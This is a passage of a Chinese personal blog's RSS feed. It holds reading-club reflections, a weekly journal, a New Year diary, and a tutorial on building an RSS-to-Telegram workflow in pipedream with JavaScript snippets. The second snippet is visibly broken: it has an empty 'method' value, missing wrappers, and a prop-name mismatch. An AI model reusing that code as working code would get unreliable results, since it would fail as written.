&lt;p&gt;我还是很佩服这种勇气（换我纯粹干讲是不可能讲的下去的哈哈）。不管是写东西，还是讲东西，起兴都是一种很常见也很实用的技巧，在古诗文中尤其常见。我在分享自己的观点是，譬如讲到荷兰“海上马车夫”的时候，我会先说自己在文明六游戏如何扮演一个文明走上商业帝国之路，譬如讲中美文化对比，我会先从象棋与国际象棋的记谱方式作对比。&lt;/p&gt;
&lt;p&gt;去年经常见到的一种句式就是，你要写XX，就不能只写XX，还要写YYY，ZZZ等。这就是一种常见的讲述方式了，永远先荡开一笔，然后再收拢回来，这就是斯堪的纳维亚钟摆！（语出《飞驰人生》）&lt;/p&gt;
&lt;p&gt;这次分享美国崛起，主讲人干巴巴地分享结束后，大家就各自讨论了。自然地，会有那种稍许崇洋媚外的观点出现，本来我是不太想讲啥的，但听着听着，突然又有了一点想法，当场就顺口说了，也权且记录下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;中国和西方的对比从象棋记谱的方式就可以看出来，譬如走当头炮，炮二平五，你会发现中国象棋的记谱是很实用的，很方便你背下来，都是四个字四个字的。但反观国际象棋，人家就很严谨的要记录每个点的坐标，从A点移动到B点。如果你仔细思考，你就会被老祖宗的智慧给折服，我们都不需要纵坐标，光靠横坐标，再结合平、进、退就足以描述二维平面上点的运动了。其实我一直在想，要是我们的文化在近代后持续独立地演化，其实也能形成类似西方的数学体系，只是我们的描述方式一定是不同于西方，更偏向实用主义的&lt;/li&gt;
&lt;li&gt;讲到美国的崛起呢，我总觉得偶然中有一些必然。读过《枪炮，病菌与钢铁》这本书的人应该都记得，文明在同一经度上传播是很方便，因为地理气候都是比较相似的。我们看到，北纬40度线左右，其实恰好穿过了中国北方，欧洲，还有美国五大湖附近，这也是人类历史上相继崛起的几个文明（埃及和古巴比伦原谅我把你们忽略了，以为你们的持续时间太短了）。但为什么是从中国向西传播呢？这其实也有一点必然，因为生产力的原因，一定是适合于农业生产的地方先发展起来。而中国所处的长江黄河流域恰好有雨热同期的季风适合农业作物生长（对比欧洲温带海洋一年内气温都比较均匀也没啥变化，北美那就更没法发展灌溉农业了，冬夏穿堂风嗖嗖地刮），所以农业时代就先从中国起步，再沿着经线向西传递到欧洲，欧洲农业文明不太行就发展了海洋文明，继续向西，传递到美洲，美洲又刚好赶上了工业革命，原本不适合农业生产的气候，有了科技加持，也可以生产大量的粮食了。三体里曾经提到过，如果模拟一个地球环境，设置完全相同的参数，是否可以演化出如今的文明？我觉得不太可能完全一样，但这其中的主线我估计还是一样的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;记录&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦，&lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里（因为并不是所有的都同步过去了）：&lt;/p&gt;
&lt;p&gt;文章&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://x.hacking8.com/post-304.html&quot;&gt;看完P牛博客后的感想 - 小草窝博客 (hacking8.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sspai.com/post/58441&quot;&gt;如何为 Notion 公开页面自定义域名 | 一日一技 - 少数派 (sspai.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/v8hc_tzca2_5Zp_PxSPo5g&quot;&gt;微信公众平台 (qq.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://justgoidea.com/posts/2024-008/&quot;&gt;https://justgoidea.com/posts/2024-008/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://book.douban.com/review/9236601/&quot;&gt;417年，舰队划开洛阳的年轮&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;视频&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1RK421t7ce/?share_source=copy_web&amp;amp;vd_source=eb74eb1e105cb306ab17818712e795b8&quot;&gt;孙权到底有没有资格当皇帝？【神奇皇帝】_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1WC411s7MN/?spm_id_from=333.880.my_history.page.click&quot;&gt;赛车究竟有多费钱？_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV11x421f7uy/?spm_id_from=333.880.my_history.page.click&quot;&gt;德国的三魂七魄（德国上篇）_哔哩哔哩_bilibili&lt;/a&gt; 最近对欧洲地理挺感兴趣的，看了好多&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1Qw411x71V/?spm_id_from=333.880.my_history.page.click&quot;&gt;30分钟带你全面了解法国_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1b34y1c7vE/?spm_id_from=333.880.my_history.page.click&quot;&gt;20分钟带你全面了解德国_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1Y94y1K7Wp/?spm_id_from=333.880.my_history.page.click&quot;&gt;30分钟带你全面了解英国_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1Nx4y1C7mK/?spm_id_from=333.880.my_history.page.click&quot;&gt;从英格兰到大不列颠为何花了700年？英格兰、苏格兰、威尔士与爱尔兰的相爱相杀！_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1Qm411f7wh/?spm_id_from=333.880.my_history.page.click&quot;&gt;中炮威力最大化 中炮布局的基本逻辑_桌游棋牌热门视频 (bilibili.com)&lt;/a&gt; 下象棋好难啊，一直在学..&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1WA411E7cE/?spm_id_from=333.880.my_history.page.click&quot;&gt;1981年的中国发生了什么？ 【激荡四十年·1981】_哔哩哔哩_bilibili&lt;/a&gt; 朋友推荐的，对于理解改革开放后的中国还是挺有用的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;纪录片&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://movie.douban.com/subject/35278835/&quot;&gt;鸟瞰欧洲 第一季 (豆瓣) (douban.com)&lt;/a&gt; 上周日读书会分享了荷兰大国崛起的主题，突然对欧洲开始感兴趣，于是找到了这部纪录片（网上居然还真有人说荷兰和四川省面积差不多…感觉没有任何地理常识了…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;游戏&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.douban.com/game/36352772/&quot;&gt;女神异闻录3 重制版 ペルソナ３ リロード (豆瓣) (douban.com)&lt;/a&gt; p3r还是挺好玩的，但还是比不上p5r，夜晚可去的地方很少，以及放暑假的时候完全不知道干嘛。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.douban.com/game/35097625/&quot;&gt;地平线 西之绝境 Horizon Forbidden West (豆瓣) (douban.com)&lt;/a&gt; 这周终于通关了，但还是有好多成就没解锁，以及，我甚至不理解这个故事到底讲了啥…&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>周报25 茶会话、读书会与《悉达多》</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A525-%E8%8C%B6%E4%BC%9A%E8%AF%9D%E8%AF%BB%E4%B9%A6%E4%BC%9A%E4%B8%8E%E6%82%89%E8%BE%BE%E5%A4%9A/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A525-%E8%8C%B6%E4%BC%9A%E8%AF%9D%E8%AF%BB%E4%B9%A6%E4%BC%9A%E4%B8%8E%E6%82%89%E8%BE%BE%E5%A4%9A/</guid><pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报25 茶会话、读书会与《悉达多》&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmS6HUoeNZf7fmn75abR4cwHwo77DmCwVL3FNm7mFQdhEe.png&quot; alt=&quot;zhoubao25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回看自己的文章，有时候真有一种和过去的自己对话的奇妙经历&lt;/p&gt;
&lt;p&gt;我不是一个特别擅长表达的人，也在努力让自己的语速变慢，说话更有条理，强迫自己用1.2.3.这样的方式来使得说话更有结构性&lt;/p&gt;
&lt;p&gt;不过这终究比不上写作来的舒服，文字的排列组合是美妙的，是一件很有创意的事，是可以让你击节赞叹的&lt;/p&gt;
&lt;p&gt;虽然不同的人有不同的观点，比如“写给自己看的博客就不要发出来啊”，”我写过的文章就不用再回过头去看了啊“ 诸如此类&lt;/p&gt;
&lt;p&gt;何必呢，一定要给自己附加这些条条框框，仿佛一个强迫症患者，面对马路上的瓷砖，规定自己不能踩到边线一样&lt;/p&gt;
&lt;p&gt;文字，学了之后，就是用来写，用来读的。我们一边说着不要给自己设限，一边又给自己限制一些不可理喻的条件&lt;/p&gt;
&lt;p&gt;总觉得怪怪的（&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;茶话会&lt;/p&gt;
&lt;p&gt;参加了一个读书群的线上茶话会，大家线上接入腾讯会议，聊聊各自的23年&lt;/p&gt;
&lt;p&gt;席间听到了很多不同年龄段人的感悟，或有因为同事疯狂卷而吐槽的，或有老板pua愤而离职的，说实话我觉得收获不太大，听来听去都是一些茶余饭后的吐槽罢了&lt;/p&gt;
&lt;p&gt;但我又有了另一种想法，因为听到一个在新加坡工作的人说，他们的leader在年初就会说清自己今年的休假规划，让下属在他休假的时候不要去打扰他&lt;/p&gt;
&lt;p&gt;我顿时生出了一种厌恶感，为什么我们每次一谈到工作的对立面，就一定要提到诸如，去马尔代夫潜水，去阿尔卑斯山滑雪，这些真的很重要吗，这些真的就是所谓的诗和远方吗&lt;/p&gt;
&lt;p&gt;在一定程度上我能理解，这是对当前生活的一种逃离，是对自我的一种放逐。但我所求的，不过就是吃一顿饭的满足，不过就是翻开一页书的喜悦，不过就是行走在香樟树下，微风拂过的一缕淡淡芳香吗&lt;/p&gt;
&lt;p&gt;我突然想到了《悉达多》，这本我曾经评价不是很高的书，我现在又有了新的感悟&lt;/p&gt;
&lt;p&gt;悉达多最开始也是一个约束自己的沙门，这就像我们打工人每天要面对自己繁杂的工作一样。但当他领悟到世间的美好时，他便开始放纵自己，但他的这种放纵，却只是一种报复性的，因为他终究不可能推翻自己曾经的过往&lt;/p&gt;
&lt;p&gt;于是最终悉达多守着一条河流度过了余生。&lt;/p&gt;
&lt;p&gt;一生的尺度太长，我一天就能亲历悉达多的经历：早上还信心满满要解决问题，谁都不准来打扰我，仿佛此刻我就是无欲无求的佛祖。结果一到下午就发现无法坚持下去了，开始放纵自己摸鱼。&lt;/p&gt;
&lt;p&gt;然而内心还是告诉我，不能放弃，最后回到正常的轨道，守着那些未解决的问题，开始慢慢理清头绪&lt;/p&gt;
&lt;p&gt;坦然接受自己的欲望，直面它，不逃避，这就是阅读悉达多所学到的&lt;/p&gt;
&lt;p&gt;游戏&lt;/p&gt;
&lt;p&gt;也许23年因为本命年的关系，做啥啥都不成，游戏其实也没怎么坚持玩，等我回过头来发现还有好多想玩的游戏都没怎么动..&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;卧龙的那只老虎我一直没打过去&lt;/li&gt;
&lt;li&gt;空洞的第一个boss也没有过关&lt;/li&gt;
&lt;li&gt;匹诺曹的第一个小boss我死了后就再也没打开了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但当我这几天开始沉入其中，去真正体验的时候，才发现这些游戏设计的是多么好&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;卧龙的化解机制，玩起来是真的爽。&lt;/li&gt;
&lt;li&gt;空洞的地图设计、bgm、场景，人物，每一个都能给我带来惊喜&lt;/li&gt;
&lt;li&gt;匹诺曹的艺术风格我也很喜欢，这种独自一人漫步在漆黑的小巷子里带来大量的多巴胺刺激&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我不由得想，其实真正去做也没那么难，多看几个攻略，多找几条路就很快了&lt;/p&gt;
&lt;p&gt;但我以前总是遇到稍微大一点的困难就放弃了，然后随着时间越拖越久，其实自己也是记得的，但就是不敢迈出那一步去做，由此不断堆积，进而产生了恐惧心理&lt;/p&gt;
&lt;p&gt;成功的人总是善于去找各种办法，找各种助力来帮助实现&lt;/p&gt;
&lt;p&gt;失败的人，或者懒惰，不想动的人，其实本质在于不想求变&lt;/p&gt;
&lt;p&gt;你只要想到每时每刻都是变化的，你做任何一件事其实都是在尽全力，并没有说哪一件事就是很轻松，你才能豁然&lt;/p&gt;
&lt;p&gt;我们经过长夜，本以为黑暗无边，但其实只要敢于抬头，月亮还是在的，敢于迈开一步，路也还是在的，不求顺风顺水，但求走过的每一步都是在不断地接近终点&lt;/p&gt;
&lt;p&gt;道德经分享会&lt;/p&gt;
&lt;p&gt;成为读书会理事后，我也算是第一次帮忙主持下一场读书会（我不是主讲人哦）&lt;/p&gt;
&lt;p&gt;其实要做的事情也不算太多，前期准备主要是发一发通知之类的，并不算麻烦，现成的模版复制粘贴，确认下时间地点不要出错即可&lt;/p&gt;
&lt;p&gt;难的是通知的传达，视角的转变有时候是很难的，所以多去经历不同人的生活才能换位思考&lt;/p&gt;
&lt;p&gt;作为发布通知的人来看，信息已经足够清晰，只需要花上几十秒即可快速获得&lt;/p&gt;
&lt;p&gt;但是偏偏还会有人上来就问...刚开始可能还会愿意解答，但随着次数变多，人性也是会倾向于不耐烦的&lt;/p&gt;
&lt;p&gt;不过好歹我也是曾扮演过参与者，也能做到换位思考（毕竟微信这种拉胯的app，消息折叠，遗漏，加载慢又不是没遇到过）&lt;/p&gt;
&lt;p&gt;读书会分享当天也没出差错，设备之类的我早已熟悉，唯一要吐槽的就是音频线，似乎所有地方的音频线都是无用的（可能因为本身用的也少吧）&lt;/p&gt;
&lt;p&gt;读书会分享人是一个漂亮的小姐姐，而且是一个典型的I人了。&lt;/p&gt;
&lt;p&gt;I人有什么特征呢，就是特别怕冷场，担心尴尬，于是会不断地找话题，嘴巴就停不下来哈哈哈。而且I人特别喜欢吐槽自己，比如说自己没有准备好之类的等等&lt;/p&gt;
&lt;p&gt;不过我并不太在意这些，我觉得读书会更多的是听一个人的故事&lt;/p&gt;
&lt;p&gt;比如她讲高考考试前的紧张焦虑&lt;/p&gt;
&lt;p&gt;讲自己的朋友被车撞了缝了几根针&lt;/p&gt;
&lt;p&gt;讲自己学习转念的经历&lt;/p&gt;
&lt;p&gt;讲自己心酸的准备过程，&lt;/p&gt;
&lt;p&gt;还讲了很多好笑的梗，虽然有些在大家看来跳跃性太大了哈哈&lt;/p&gt;
&lt;p&gt;你要说这些有什么意义呢，我也觉得没什么，但我就是喜欢听，喜欢听同样的事发生在另一个人身上&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦，https://t.me/RayeJourney&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://saveweb.github.io/review-2023/&quot;&gt;https://saveweb.github.io/review-2023/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://iconce.com/&quot;&gt;https://iconce.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;https://github.com/malinkang/weread2notion&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tgso.pro/&quot;&gt;https://tgso.pro/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://niracler.com/nyaruko-deploy-for-xlog&quot;&gt;https://niracler.com/nyaruko-deploy-for-xlog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>过年的一些碎碎念</title><link>https://rayepeng.net/posts/%E8%BF%87%E5%B9%B4%E7%9A%84%E4%B8%80%E4%BA%9B%E7%A2%8E%E7%A2%8E%E5%BF%B5/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E8%BF%87%E5%B9%B4%E7%9A%84%E4%B8%80%E4%BA%9B%E7%A2%8E%E7%A2%8E%E5%BF%B5/</guid><pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;过年的一些碎碎念&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmPBSZ5RHbGxqu76EpWdLbEyu4SbYJLcAYLT4tNL4MzVfJ.png&quot; alt=&quot;guonian&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回家&lt;/p&gt;
&lt;p&gt;今年（哦其实应该算是去年）是比较反感回家的，所以算是一直拖到了工作的最后一天才回去。回家的旅程稍有些波澜，高铁晚点半小时，到长沙后又开始下雪了，所幸接我的司机挺靠谱的，长沙回老家的路上，第一次意识到高速公路原来是没有路灯的&lt;/p&gt;
&lt;p&gt;可惜手机随手拍的太差了，那种恐怖的氛围：高速路的前方没有任何一辆车，漆黑的夜空中，大雪扑面而来，孩子从没见过这种世面😭&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmbgHmD3iuZNakYbDnNG1UwZ1WsFkKAsN1NkrKWwFivvJQ.jpeg&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所幸还是平安回家，一个小时左右就到达市区了。原来曾经只能远远观望的隧道早已修通，长达4.5公里！询问司机才得知老早就开通了，好吧，确实是我孤陋寡闻了&lt;/p&gt;
&lt;p&gt;一些小事&lt;/p&gt;
&lt;p&gt;年前两天也没多少事，大年三十上午又约了球友去打羽毛球，这回没想到是一个体育生已经高三了，被他虐的体无完肤（， 同时作为过来人，也了解了下他面临的处境，给了他一些说不上有什么用的学习建议吧&lt;/p&gt;
&lt;p&gt;我妈还跟我提到一件事，说我国庆回老家的时候，不是叫上了曾经的一个小学同学一起打羽毛球，打完后正常A了场地费和球费嘛。结果那个小学同学的妈妈有一次路上碰见我妈，刻意提起这件事，还要特地强调一句就我一个人赚钱了。。&lt;/p&gt;
&lt;p&gt;我开始还没反应过来，什么叫就我一个人赚钱了。后来才意识到，这个言下之意不就是觉得我太小气了吗… 但我在深圳生活这么久，A钱已经成了一个习惯，结果到了你们这，就成了指摘人的一个把柄..&lt;/p&gt;
&lt;p&gt;这件事让我觉得很无语，于是过年就懒得联系那个小学同学了。我宁愿去小红书上发帖找志同道合的一些朋友&lt;/p&gt;
&lt;p&gt;稍微激进一点想，我感觉打败微信的新产品已经出来了，就是小红书。微信永远不会被另一个熟人社交产品给打败，只是当人们都开始讨厌熟人社交，讨厌那些背后的利益计算的时候，陌生人社交反而是一种更好的选择&lt;/p&gt;
&lt;p&gt;好了不说这些了，在老家玩烟花还是很开心的&lt;/p&gt;
&lt;p&gt;&amp;lt;video&amp;gt;
&amp;lt;source src=&quot;ipfs://QmPZFzkYpYyn4JnKFp2dY1LN9WPZm6Z9gvacRoaz6ojAwJ&quot; type=&quot;video/quicktime&quot; /&amp;gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p&gt;大年初一第一天，球馆免费，人还少，于是又跑去打球了😁，正好约到了一位技术水平相当的球友，两个人一直连续单打了俩小时，大汗淋漓&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmPGtWVajf1xZ9JRHQ94GbQ18AFE7mV7KsQgr8DH2bQYqZ.jpeg&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;过年还差点出了一次车祸…本来我打完球好好地骑车回家，谁曾想一辆出租车突然停在我前面开始下客…司机完全没看后视镜，于是我就撞上了刚打开的车门，所幸没有出大事，左手小拇指擦破了皮，当我刚反应过来的时候，出租车已经跑走了..😭&lt;/p&gt;
&lt;p&gt;原生家庭&lt;/p&gt;
&lt;p&gt;以前我还没觉得原生家庭对于一个人有多么大的影响，这次回家突然就意识到，我跟我妈在某些方面也太像了（但是我妈的性格没有我那么急，可能这一点是受我爸的影响吧）&lt;/p&gt;
&lt;p&gt;同时还有一点感想，我们都讨厌那些过年走亲戚的时候，被他们问东问西。其实归根结底，他们无非就是想从你这里找到一点优越感罢了。当他们无法把你比下去的时候，他们甚至都不愿意开口问你（🤣，比如目前亲戚里还没有几个大学考的比我好，工作比我好的，所以过年基本没人会问我这些…）&lt;/p&gt;
&lt;p&gt;其他&lt;/p&gt;
&lt;p&gt;繁花&lt;/p&gt;
&lt;p&gt;过年剩余的时间就在家里追繁花了，汪小姐这一幕又哭又笑演的太好了啊！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmWyPNGZjxznTueE6ANb5EMKG6JLToXpgvTdS9JwNYyjiH.jpeg&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;龙脉常歌&lt;/p&gt;
&lt;p&gt;以及年前通关了《龙脉常歌》（好吧其实是XGP马上就要退库了），略显平淡地剧情，却依旧阻挡不了我泪流满面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSpTgSFV3TrmThYNWQi3P3w9vDcHTbxxn3yEEj5JwFjA1.jpeg&quot; alt=&quot;Untitled 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;小红书帖子：坐车攻略&lt;/p&gt;
&lt;p&gt;分享了一条最便宜省心的坐车攻略，没想到第一次被这么多人点赞和评论，果然当你用真诚的态度去分享有用的事情或者攻略，都是一件很棒的事情！（又想起了那位专门教大家如何坐高铁坐飞机这些生活攻略的up主，这些才是必备的生活技能）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmfM7fcXZibaaAmX7uZdCnMFJgo8cwSVsVe5oWw84chWw7.jpeg&quot; alt=&quot;Untitled 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;app推荐：StressWatch&lt;/p&gt;
&lt;p&gt;推荐一款app，stresswatch，通过计算心跳HRV来评估压力，自我认为还是挺准的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTymHhSrHV22S4xZZQzvmdioPBv6u3v8voXkUSqNTy2Qv.jpeg&quot; alt=&quot;Untitled 5&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>pipedream免费自动化工作流使用教程</title><link>https://rayepeng.net/posts/pipedream%E5%85%8D%E8%B4%B9%E8%87%AA%E5%8A%A8%E5%8C%96%E5%B7%A5%E4%BD%9C%E6%B5%81%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</link><guid isPermaLink="true">https://rayepeng.net/posts/pipedream%E5%85%8D%E8%B4%B9%E8%87%AA%E5%8A%A8%E5%8C%96%E5%B7%A5%E4%BD%9C%E6%B5%81%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</guid><pubDate>Tue, 06 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;pipedream免费自动化工作流使用教程&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmaonsSA7u6Lh1znWVXp9N21h7Pyfn8hUhXkZ4ceL9Nrkm.png&quot; alt=&quot;biaoti12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;日常的n8n其实经常要崩，看通知我都看烦了（&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmfGmgGg8zn9rcnC4RGufH5DoKWYnDHpGpLgai1mWFSB8S.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IFTTT虽然好用，但还是稍显简陋，免费版最多支持两个，于是搜索了下还有一个免费的平台叫 pipedream（貌似可以同时运行5个工作流，只是限制了每天调用100次数，不过这也够了）&lt;/p&gt;
&lt;p&gt;整体体验下来，pipedream还是缺失了还能多功能的，比如n8n经常会用到的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;导出工作流为json保存&lt;/li&gt;
&lt;li&gt;批量处理多个item（n8n是可以支持针对一个数组里的每个item都运行一遍工作流节点的）&lt;/li&gt;
&lt;li&gt;搭建一个工作流略微繁琐，但是很geek，对程序员还比较友好&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;创建一个rss工作流&lt;/p&gt;
&lt;p&gt;这里就纯粹靠自己摸索出来的经验了，不一定是最优解：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;rss的节点，只需要提供一个url，自动解析其中的数据&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmWMaEWPVDrfPbmoXkQ14ikyhPb5o86mqEa61iu4L9Vm5p.png&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对数据去重，这里需要写点代码，比较繁琐，放到后面专门讲&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmauUYriEpUpdnqJ4TML1jTR4hLfPRfLnPi6pn5ersnpoS.png&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;条件判断，针对去重后的数据判断是否有值，如果没有直接返回&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmVjrkDQPkPHC3JKgXwMCh2kFnuzsDvbksbwRz93ixjjco.png&quot; alt=&quot;Untitled 3&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;发送tg消息&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmb3sF5hobe9aHki7WfLxK2AoJzpz23WymaHK8vcSQSis7.png&quot; alt=&quot;Untitled 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数据存储及去重&lt;/p&gt;
&lt;p&gt;pipedream提供了一个专门用于存储数据的页面，可以可视化地查看存储的数据，这一点比n8n要好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmeuo1UDYtvfiUUmLMvWgYRwTAfiJYDYihepDkV1MmWr6p.png&quot; alt=&quot;Untitled 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmUvuT6B51ENc4Ma9QKRTQWWhCSGhBh9KXhpTP2Sf1n6rw.png&quot; alt=&quot;Untitled 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;推荐每个工作流都有一个数据存储位置，你可以将其理解为一个简单的kv缓存&lt;/p&gt;
&lt;p&gt;接下来解释下我这里去重的代码，本质上和n8n里的很相似&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我们要编写的代码位于run函数中，其他的不用动&lt;/li&gt;
&lt;li&gt;&lt;code&gt;steps.merge_rss_feeds.$return_value&lt;/code&gt;  是自动解析rss节点返回的json数据&lt;/li&gt;
&lt;li&gt;&lt;code&gt;let lastItemId = await this.myDataStore.get(&quot;guid&quot;);&lt;/code&gt;  去kv中取出最近一次的记录，是个异步操作，需要加await&lt;/li&gt;
&lt;li&gt;&lt;code&gt;getId&lt;/code&gt;  函数就是获得每个节点的guid&lt;/li&gt;
&lt;li&gt;&lt;code&gt;newItems&lt;/code&gt;  存储要发送的最新item，是通过循环比对获得的&lt;/li&gt;
&lt;li&gt;&lt;code&gt;await this.myDataStore.set(&quot;guid&quot;,getId(firstItem))&lt;/code&gt;  覆盖最近一次的记录&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;不过要注意的是，pipedream似乎不支持批量发送，即如果 &lt;code&gt;newItems&lt;/code&gt;  有多个，也只能发送&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;
  props: {
    myDataStore: { type: &quot;data_store&quot; },
  },
  async run({ steps, $ }) {
    let items = steps.merge_rss_feeds.$return_value
    let lastItemId = await this.myDataStore.get(&quot;guid&quot;);
    let firstItem = items[0]
    let newItems = [];
    function getId(item) {
      return item.guid;
    }

    if (lastItemId) {
      for (const item of items) {
        if (getId(item) === lastItemId) {
          break;
        }
        newItems.push(item)
      }
    } else {
      newItems = [firstItem]
    }

    await this.myDataStore.set(&quot;guid&quot;,getId(firstItem))
    return newItems.reverse() // 先发送老的消息，再发送最新的
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解决pipedream无法批量发送消息&lt;/p&gt;
&lt;p&gt;原本只是为了解决无法批量发送消息的问题，我想到直接用自定义代码的方式来循环发送就好了，于是写出了如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

  props: {
    telegram_bot_api: {
      type: &quot;app&quot;,
      app: &quot;telegram_bot_api&quot;,
    },
    chat_id: {
      type: &quot;string&quot;,
      label: &quot;Chatid&quot;,
      default: &quot;@RayeJourney&quot;,
    },
  },
  async run({steps, $}) {
    const items = steps.data_stores.$return_value 
    const results = []; // 用于存储每个消息发送操作的结果
    for (const item of items) {
      // 构造要发送的消息内容
      const message = `📝 ${item.title} blog\n\n${item.url}`;

      // 发送消息
      const result = await axios($, {
        url: `https://api.telegram.org/bot${this.telegram_bot_api.$auth.token}/sendMessage`,
        method: ,
        headers: {
          &apos;Content-Type&apos;: &apos;application/json&apos;,
        },
        data: {
          chat_id: `${this.chatid}`, 
          text: message,
          parse_mode: &apos;HTML&apos;, // 如果消息内容包含 HTML，可以设置这个参数
        },
      });

      // 将每次发送操作的结果添加到结果数组中
      results.push(result.data);
    }

    // 返回所有发送操作的结果
    return results;
  },
})
&lt;/code&gt;&lt;/pre&gt;
